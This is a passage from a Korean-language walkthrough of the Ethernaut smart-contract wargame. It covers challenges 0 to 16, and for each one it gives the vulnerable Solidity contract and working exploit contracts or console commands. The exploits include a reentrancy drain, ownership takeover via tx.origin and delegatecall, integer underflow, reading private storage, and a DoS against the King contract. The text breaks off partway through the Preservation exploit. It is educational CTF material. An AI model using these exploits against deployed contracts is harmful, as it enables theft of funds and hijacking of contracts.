‘Ethernaut’ is a Web3/Solidity based wargame inspired on overthewire.org.

This article offers a brief summary and exploit code of each challenge.

# 0. Hello Ethernaut

> await contract.info()
'You will find what you need in info1().'

> await contract.info1();
'Try info2(), but with "hello" as a parameter.'

> await contract.info2("hello");
'The property infoNum holds the number of the next info method to call.'

> await contract.infoNum();
o {negative: 0, words: Array(2), length: 1, red: null}
length: 1
negative: 0
red: null
words: (2) [42, empty]
[[Prototype]]: Object

> await contract.info42();
'theMethodName is the name of the next method.'

> await contract.theMethodName();
'The method name is method7123949.'

> await contract.method7123949();
'If you know the password, submit it to authenticate().'

> await contract.password();
'ethernaut0'

> await contract.authenticate("ethernaut0");

// Submit

# 1. Fallback

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {                                  // Vulnerable!
    require(msg.value > 0 && contributions[msg.sender] > 0);        
    owner = msg.sender;
  }
}

대상 컨트랙트의 ownership을 가져오는 것이 목표이다.

컨트랙트를 배포한 owner의 contributions 금액은 1000 Ether로 초기화되어 있으며, contribute() 함수만 본다면 해당 금액 이상의 contribute를 해야 컨트랙트의 owner가 될 수 있다. (1000 Ether도 없을 뿐더러, 한번 contribute 실행시마다 0.001 Ether씩만 보낼 수 있다.)

컨트랙트에서 Ether를 송금받기 위해 존재하는 receive() 함수에 취약점이 존재한다. contribute를 한 사용자가 receive() 함수를 실행 시에 owner가 될 수 있도록 코드가 작성되어 있다.

Exploit

> await contract.getContribution();

> await contract.contribute({from: player, value: toWei("0.0001")});

> await sendTransaction({from: player, to:contract.address, value: toWei("0.0001")});

> await contract.withdraw();

// Submit

# 2. Fallout

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;


  /* constructor */
  function Fal1out() public payable {       // constructor function name typing mistake
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

마찬가지로 대상 컨트랙트의 ownership을 가져오는 것이 목표이다.

constuctor 주석이 가리키는 Fal1out()을 호출하면 된다.

Exploit

> await contract.Fal1out({from: player, value: toWei("0.000000000000000001")}); // 1 wei

// Submit

# 3. Coin Flip

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

10번 연속 동전던지기 결과를 맞춰야 하며, 동전던지기 결과는 uint256(blockhash(block.number.sub(1))) / FACTOR 로 계산한다. 또한 lastHash를 이용해, 동일 블록에 있는 트랜잭션은 revert() 시킨다.

FACTOR 값은 uint256 타입이 가질 수 있는 최솟값과 최댓값의 중간 값이며, uint256(blockhash(block.number.sub(1)))는 트랜잭션이 포함된 블록의 이전 블록의 해시값을 uint256 타입으로 변환한 값이다.

결과적으로 트랜잭션이 포함된 블록의 이전블록의 해시값을 uint256으로 타입변환한 값이 중간값을 기준으로 이하면 false, 이상이면 true로 계산된다.

동전던지기 결과를 맞추기 위해 공격자가 전송하는 트랜잭션이 포함된 블록을 기준으로 결과값이 계산되므로, 값 예측이 가능하다.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipExploit {
    using SafeMath for uint256;
    address coinflip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor (address _coinflip) public {
        coinflip = _coinflip;
    }
    function exploit() public {
            uint256 blockValue = uint256(blockhash(block.number.sub(1)));
            uint256 coinFlip = blockValue.div(FACTOR);
            bool answer = coinFlip == 1 ? true : false;

            ICoinFlip(coinflip).flip(answer);
    }
}

# 4. Telephone

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

대상 컨트랙트의 ownership을 가져오는 것이 목표이다.

changeOwner()는 tx.origin과 msg.sender이 일치하지 않는 경우, 인자로 전달된 주소에게 ownership을 부여한다.

공격자가 컨트랙트를 통하여 changeOwner()를 호출하면 된다.

  • tx.origin = 트랜잭션을 최초 생성 및 시작한 주소 -> 공격자 EOA 주소
  • msg.sender = 컨트랙트의 함수를 호출한 주소 -> 공격자 컨트랙트 주소

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract TelephoneExploit {
    address newOwner;
    address telephoneAddr;
    
    constructor (address _telephoneAddr, address _newOwner) public {
        telephoneAddr = _telephoneAddr;
        newOwner = _newOwner;
    }

    function exploit() public {
        ITelephone(telephoneAddr).changeOwner(newOwner);
    }
}

# 5. Token

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);                        // bypass (Integer Underflow)
    balances[msg.sender] -= _value;                                     // Token++++++++ (Integer Underflow)
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

공격자에게 20개의 토큰이 주어지는데, 컨트랙트의 취약점을 이용해 최대한 많은 수의 토큰을 확보하는 것이 목표이다.

Solidity 0.8.0 미만 버전은 Integer Overflow/Underflow 발생 시, 에러없이 트리거가 된다.

21개를 임의의 주소로 전송하면, Integer Overflow(20 - 21)에 의해, 공격자는 2**256 - 1개 토큰을 갖게된다.

Exploit

> contract.balanceOf(player);
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
...
[[PromiseResult]]: o
length: 1
negative: 0
red: null
words: (2) [20, empty]              // 20 Token
[[Prototype]]: Object

> await contract.transfer(contract.address, toWei("21"));

> contract.balanceOf(player);
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
...
[[PromiseResult]]: o
length: 10
negative: 0
red: null
words: Array(11)                    // 2**256 - 1 Token
0: 13369364
1: 4247761
2: 67104201
3: 67108863
4: 67108863
5: 67108863
6: 67108863
7: 67108863
8: 67108863
9: 4194303
length: 11
[[Prototype]]: Array(0)
[[Prototype]]: Object

// Submit

# 6. Delegation

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

대상 컨트랙트의 ownership을 가져오는 것이 목표이다.

Delegation 컨트랙트의 fallback()에서 delegatecall(msg.data)를 사용하여 Delegate 컨트랙트를 호출한다.

msg.data에 pwn() 함수를 호출하는 abi 값을 전달하여, Delegate 컨트랙트의 pwn()을 호출하고 ownership을 획득할 수 있다.

Exploit

> let payload = web3.eth.abi.encodeFunctionSignature('pwn()')

> await sendTransaction({from: player, to:contract.address, data: payload});

// Submit

# 7. Force

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

위 컨트랙트의 잔고는 다음과 같이 0인 상태인데, 0보다 큰 잔액을 만드는 것이 목표이다.

> await getBalance(contract.address)
'0'

fallback()이나 receive() 함수가 구현되어 있다면, 다음과 같이 보내면 되지만 그렇지 않은 상황이기 때문에 다른 방법이 필요하다. (아래 트랜잭션 전송 시, 에러 발생)

> sendTransaction({from: player, to:contract.address, value: toWei("0.000000000000000002")});

selfdestruct(address dest) 함수를 이용한 컨트랙트를 통해 대상 컨트랙트에 강제로 Ether를 송신할 수 있다.

  • selfdestruct() 호출 시, 컨트랙트 스스로를 파괴하고 컨트랙트가 가진 Ether를 address dest로 송신

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceExploit {
    function exploit(address payable _forceAddr) payable public {
        require(msg.value > 1 wei);
        selfdestruct(_forceAddr);
    }

}

> await getBalance(contract.address)
'0.000000000000000002'

# 8. Vault

summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;           // slot 0 : 1 byte
  bytes32 private password;     // slot 1 : 32 bytes

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

private으로 저장되어 있는 bytes32 타입의 password 값을 unlock()에 전달하는 것이 목표이다.

기본적으로 storage 영역에 저장되는 변수들은 32 bytes 기준으로 slot 0부터 할당되어 저장되며, private으로 선언되더라도 값을 확인할 수 있다.

Exploit

> const hexPassword = await web3.eth.getStorageAt(contract.address, 1);

> hexPassword
'0x412076657279207374726f6e67207365637265742070617373776f7264203a29'

> await web3.utils.hexToAscii(hexPassword)
'A very strong secret password :)'

> await contract.unlock(hexPassword);

// Submit

# 9. King

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

대상 컨트랙트의 기능이 동작하지 않는 DoS(Denial of Service) 상태로 만드는 것이 목표이다.

컨트랙트는 receive()를 통해 Ether를 송금받을 수 있으며 다음과 같이 동작한다.

  • (1) 기존의 prize보다 높은 Ether를 송금한 사람이 새로운 king이 된다.
  • (2) 기존의 king에게는 새로운 king이 송금한 Ether를 전송해준다.

공격자가 컨트랙트를 생성하여 king으로 만들고, 해당 컨트랙트의 receive() 함수에서 무조건 revert() 를 호출하도록 하면된다.

King 컨트랙트는 다른 사용자들이 높은 Ether를 송금하더라도, 기존의 King인 공격자 컨트랙트에게 Ether를 송금하는 king.transfer(msg.value); 부분에서 revert()가 발생하여 DoS 상태에 빠진다.

초기 owner, king 및 prize는 아래와 같다.

> await contract.owner()
'0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'

> await contract._king()
'0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'

> fromWei(await contract.prize())
'0.001'

Exploit

Solidity Withdrawal Pattern 참고

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract KingExploit {

    function exploit(address payable targetAddr) public payable {
        (bool result, ) = targetAddr.call.value(msg.value)("");
        if(!result) revert("Failed to become a king..!");
    }

    receive() external payable {
        revert("DoS");
    }
}
  • Deploy 후 exploit() 함수 호출 시, _kingAddr에 King 컨트랙트의 인스턴스 주소를 입력하고 msg.value는 0.001보다 큰 값(ex. 0.01, 0.002 등)을 입력한다.
> await contract.owner()
'0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5'

> await contract._king()
'0x2cfc9a56e5223f453ddFDd942Fa1B305b257650E'

> fromWei(await contract.prize())
'0.002'

// Submit

# 10. Re-entrancy

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {                       // Check
      (bool result,) = msg.sender.call{value:_amount}("");      // Interaction
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;                          // Effects
    }
  }

  receive() external payable {}
}

대상 컨트랙트가 가진 모든 자금을 가져오는 것이 목표이다.

Checks-Effects Interfaction 패턴이 적용되지 않아 전형적인 Re-Entrancy 공격에 취약한 코드이다.

이에 따라 공격자는 fallback()이나 receive() 등을 이용해 대상 컨트랙트의 withdraw()를 연속적으로 재호출할 수 있다.

Exploit

> await getBalance(contract.address)
'0.001'

현재 컨트랙트가 가진 잔액은 0.001 ETH

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IReentrace {
    function donate(address _to) external payable; 
    function balanceOf(address _who) external view returns (uint balance);
    function withdraw(uint _amount) external;
}

contract ReentranceExploit {
    address payable reentranceAddr;
    address payable attackerEOA;

    constructor (address payable _reentranceAddr) public {
        reentranceAddr = _reentranceAddr;
        attackerEOA = msg.sender;
    }

    function exploit() external payable {
        require(msg.value == 0.001 ether);
        IReentrace(reentranceAddr).donate.value(0.001 ether)(address(this));
        IReentrace(reentranceAddr).withdraw(0.001 ether);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getTargetBalance() public view returns (uint256) {
        return reentranceAddr.balance;
    }

    function self_destruct() external {
        require(msg.sender == attackerEOA);
        selfdestruct(attackerEOA);
    }

    receive() external payable {
        if (reentranceAddr.balance >= 0.001 ether) {
            IReentrace(reentranceAddr).withdraw(0.001 ether);
        }
    }
}

ReentranceExploit 컨트랙트의 exploit() 호출 시, 다음 공격 흐름이 Reentrance 컨트랙트의 잔고가 바닥이 날 때까지 반복된다.

  • (1) ReentranceExploit 컨트랙트의 주소를 이용해 0.001 ETH donate()
    • Reentrance 컨트랙트의 balances[ReentranceExploitAddress] = 0.001 ETH
  • (2) withdraw(0.001 ether)를 호출하여 donation한 금액 출금 요청
  • (3) ReentranceExploit 컨트랙트의 receive() 함수가 ETH를 수신하기 위해 호출됨
  • (4) receive()에서 withdraw()를 다시 호출

이후 self_destruct() 함수를 호출하여, 가져온 자금들을 공격자 EOA로 송금해주면 된다!

// ReentranceExploit Contract Deploy

// exploit()

> await getBalance(contract.address)
'0'

// Submit

# 11. Elevator

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;              // false
  uint public floor;            // 0

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

bool 타입의 top을 true로 만드는 것이 목표이다.

Elevator 컨트랙트는 goTo() 함수를 제공하며, 입력된 _floor를 msg.sender의 isLastFloor() 인터페이스에 전달하여 결과를 수신한다.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IElevator {
    // function
    function goTo(uint _floor) external;

    // variable
    function floor() external returns (uint);
}

contract ElevatorExploit {
    address targetAddr;
    
    constructor (address _targetAddr) public {
        targetAddr = _targetAddr;
    }

    function exploit(uint _inputFloor) external {
        IElevator(targetAddr).goTo(_inputFloor);
    }

    function isLastFloor(uint _floor) external returns (bool){
        if(IElevator(targetAddr).floor() != _floor) {
            return false;
        }
        else {
            return true;
        }
    }
}

공격자가 입력한 층이 무조건 Last Floor 및 Top이 되도록 하는 isLastFloor() 인터페이스를 구현하면 된다.

  • exploit() 함수에 공격자가 Top이 되도록 원하는 값을 입력
> await contract.top()
false

> await contract.floor()
o {negative: 0, words: Array(2), length: 1, red: null}
length: 1
negative: 0
red: null
words: (2) [0, empty]
[[Prototype]]: Object

// exploit(50)

> await contract.top()
true

> await contract.floor()
o {negative: 0, words: Array(2), length: 1, red: null}
length: 1
negative: 0
red: null
words: (2) [50, empty]
[[Prototype]]: Object

// Submit

# 12. Privacy

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

8. Vault 문제와 같이 private으로 선언하더라도 storage 영역에 저장된 값은 확인이 가능하다.

대상 컨트랙트의 bytes32[3] data fixed array의 마지막 요소인 data[2]에 저장되어 있는 키 값을 찾아야한다.

Privacy 컨트랙트의 storage 영역의 값들은 다음과 같은 슬롯에 할당된다.

bool public locked = true;                    // slot 0 : 1 bytes
uint256 public ID = block.timestamp;          // slot 1 : 32 bytes
uint8 private flattening = 10;                // slot 2 : 1 bytes
uint8 private denomination = 255;             // slot 2 : 1 bytes
uint16 private awkwardness = uint16(now);     // slot 2 : 2 bytes
bytes32[3] private data;                      // slot 3 : data[0]
                                              // slot 4 : data[1]
                                              // slot 5 : data[2]

Exploit

> await web3.eth.getStorageAt(contract.address, 0);
'0x0000000000000000000000000000000000000000000000000000000000000001'

> await web3.eth.getStorageAt(contract.address, 1);
'0x0000000000000000000000000000000000000000000000000000000062011490'

> await web3.eth.getStorageAt(contract.address, 2);
'0x000000000000000000000000000000000000000000000000000000001490ff0a'

> await web3.eth.getStorageAt(contract.address, 3);
'0x3edd311ebeeb5f8c81ac1d7ded889b1dc76be556554cef0c35cdb8c4121fce96'

> await web3.eth.getStorageAt(contract.address, 4);
'0xabaab090eedbeb41c34eebd1053d50f6d643142476fa67ba9ab668b8fff808c6'

> await web3.eth.getStorageAt(contract.address, 5);     // bytes32 data[2]
'0x454b326e527ce34b20304b322983ab4030370380dfad9c0f1e40907c51851341'

> data2 = await web3.eth.getStorageAt(contract.address, 5);
'0x454b326e527ce34b20304b322983ab4030370380dfad9c0f1e40907c51851341'

> data2_ascii = web3.utils.hexToAscii(data2)
'EK2nR|ãK 0K2)\x83«@07\x03\x80ß­\x9C\x0F\x1E@\x90|Q\x85\x13A'


> key = web3.utils.asciiToHex(data2_ascii.substr(0, data2_ascii.length / 2))
'0x454b326e527ce34b20304b322983ab40'

await contract.unlock(key)

// Submit

# 13. Gatekeeper One

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);     // using contracts
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

GateKeeperOne 컨트랙트의 enter() 함수를 호출하여 address entrant에 tx.origin 값을 저장하면 통과할 수 있다.

enter() 함수에는 gateOne / gateTwo / gateThree 와 같이 3개의 modifier(함수 제어자)가 적용되어 있으며, 해당 함수 제어자들의 조건을 만족시켜야 함수 내부의 코드가 실행된다.

gateOne()

  • msg.sender와 tx.origin이 다른 주소여야 하므로, 컨트랙트를 통해 enter()를 호출하면 조건을 만족할 수 있다.

gateTwo()

  • gateTwo() 호출 시점에 남아있는 잔여 가스인 gasleft() 에 modular 8191 연산의 결과가 0이어야 한다.

  • Brute-Force를 통해 해결했다.

gateThree()

  • enter() 함수로 전달된 bytes8 _gateKey의 상위부터 5,6번째 바이트는 00 00 이어야 하고, 7,8번째 바이트는 tx.origin(공격자 EOA) 주소의 하위 2바이트 값과 동일해야 한다.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperOneExploit {
    address targetAddr;
    uint64 public gatekeyUint =  uint64(uint256(uint160(msg.sender)) & 0xFFFFFFFF0000FFFF);
    bytes8 public gatekey = bytes8(gatekeyUint);
    
    constructor (address _targetAddr) public {
        targetAddr = _targetAddr;
    }
    
    function exploit() external returns (bool){
        bytes memory payload = abi.encodeWithSignature("enter(bytes8)", gatekey);
        for(uint16 i=0 ; i<1000 ; i++){
            (bool bSuccess, bytes memory data) = targetAddr.call.gas(i + 8191*5)(payload);
            if(bSuccess){
                return true;
            }
        }
    }
}

> await contract.entrant()
'0x0000000000000000000000000000000000000000'

// GatekeeperOneExploit Contract Deploy

// exploit()

> await contract.entrant()
'0x--------------AttackerEOA---------------'

// Submit

# 14. Gatekeeper Two

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

이전 문제와 마찬가지로 enter() 함수를 호출하여 address entrant에 tx.origin 값을 저장하면 통과할 수 있으며, 3개의 modifier를 만족시켜야 한다.

gateOne()

  • msg.sender와 tx.origin이 다른 주소여야 하므로, 컨트랙트를 통해 enter()를 호출하면 조건을 만족할 수 있다.

gateTwo()

  • extcodesize()는 인자로 전달된 계정의 코드 사이즈를 반환하는 함수이므로, 호출한 컨트랙트의 코드 사이즈가 0이어야 한다.

  • 이더리움 yellow paper에 따르면, constructor() 호출 시점에 코드 사이즈는 0으로 계산된다.

  • 공격자 컨트랙트의 constructor()에서 enter()를 호출하면 된다.

gateThree()

  • msg.sender(공격자 컨트랙트 주소)를 해시한 값의 하위 8바이트 값과 _gateKey XOR 연산의 결과가 2**64-1이 되어야 한다.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwoExploit {
    bytes8 public gatekey;
    
    constructor (address _targetAddr) public {
        gatekey = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        
        _targetAddr.call(abi.encodeWithSignature("enter(bytes8)", gatekey));
    }
}

> await contract.entrant()
'0x0000000000000000000000000000000000000000'

// GatekeeperTwoExploit Contract Deploy

> await contract.entrant()
'0x--------------AttackerEOA---------------'

// Submit

# 15. Naught Coin

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }
  
  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

player에게 ERC20 기반의 NaughtCoin 토큰 1,000,000개가 지급되었는데, transfer() 함수에 lockTokens() 제어자를 적용하여 10년동안 다른 지갑으로 옮기지 못하도록 설정되어 있다.

transfer() 함수는 super.trasnfer()에 의해 상속받은 ERC20의 transfer() 함수를 호출하게 된다.

ERC20에서는 토큰을 전송하기 위해 transfer() 이외에 approve() / transferFrom() 함수가 있다.

해당 기능을 이용해 lockup periods를 우회하여 토큰 전송이 가능하다.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

 contract NaughtCoinExploit {

  uint256 public INITIAL_SUPPLY = 1000000 * (10**18);
  address public player;

  ERC20 public naughtCoin;

  constructor(address _player, address _naughtCoinAddress) public {
    player = _player;
    naughtCoin = ERC20(_naughtCoinAddress);
  }
  
  function exploit() external {
      naughtCoin.transferFrom(player, address(this), INITIAL_SUPPLY);
  } 
}

> let initial_supply = await contract.balanceOf(player);

> web3.utils.fromWei(initial_supply);
'1000000'

> web3.utils.fromWei(await contract.balanceOf("0x4a81672E4952097EFE35Ee835e36F72cFF8eFDaB"));
'0'

> await contract.approve([ExploitContractAddress], initial_supply);    
// await contract.approve("0x4a81672E4952097EFE35Ee835e36F72cFF8eFDaB", initial_supply);

// Exploit Contract Deploy & call exploit()

> web3.utils.fromWei(await contract.balanceOf(player));
'0'

> web3.utils.fromWei(await contract.balanceOf("0x4a81672E4952097EFE35Ee835e36F72cFF8eFDaB"));
'1000000'

// Submit

# 16. Preservation

Summary

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;    // slot 0
  address public timeZone2Library;    // slot 1
  address public owner;               // slot 2
  uint storedTime;                    // slot 3
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }
 
  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;         // slot 0

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

Preservation 컨트랙트는 constructor() 에서 setTime() 함수를 포함하고 있는 2개의 timeZomeLibrary 컨트랙트 주소를 입력받는다.

setFirstTime() 호출 시, 첫번째 timeZone1Library::setTime()을 delegatecall()로 호출하여 인자로 전달된 타임스탬프 값을 설정하고, setSecondTime() 호출 시, 두번째 timeZone2Library::setTime()을 delegatecall()로 호출하여 인자로 전달된 타임스탬프 값을 설정한다.

위 컨트랙트의 owner 값을 player 주소로 변경해야 한다.

Exploit

delegatecall()로 인해, caller인 Preservation() 컨트랙트의 storage 영역이 변경된다.

  • 개발자의 의도는 각 함수/인자 전달을 통해 callee인 LibraryContract 컨트랙트의 uint storedTime을 변경하는 것

(1) [slot 0] address public timeZone1Library 변경

  • 첫번째 setFirstTime() 호출 시, LibraryContract::storedTime(slot 0)가 아닌 Preservation::timeZone1Library(slot 0)이 변경된다.
  • 이 때 공격자가 개발한 컨트랙트의 주소를 전달하여, 이후 setFirstTime()을 통해 호출되는 delegatecall()을 공격자의 컨트랙트로 보낼 수 있다.

(2) [slot 2] address public owner 변경

  • 두번째 setFirstTime() 호출 시, delegatecall()로 공격자가 개발한 컨트랙트의 setTime()을 호출하게 된다.
  • 공격자 컨트랙트의 setTime()은 Preservation::owner(slot 2)를 변경하는 코드로 구성하면 된다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface IPreservation {
    function setFirstTime(uint _timeStamp) external;
}

contract LibraryContractHook {
    address slot0;
    address slot1;
    address slot2_owner; 

    function setTime(uint _time) public {
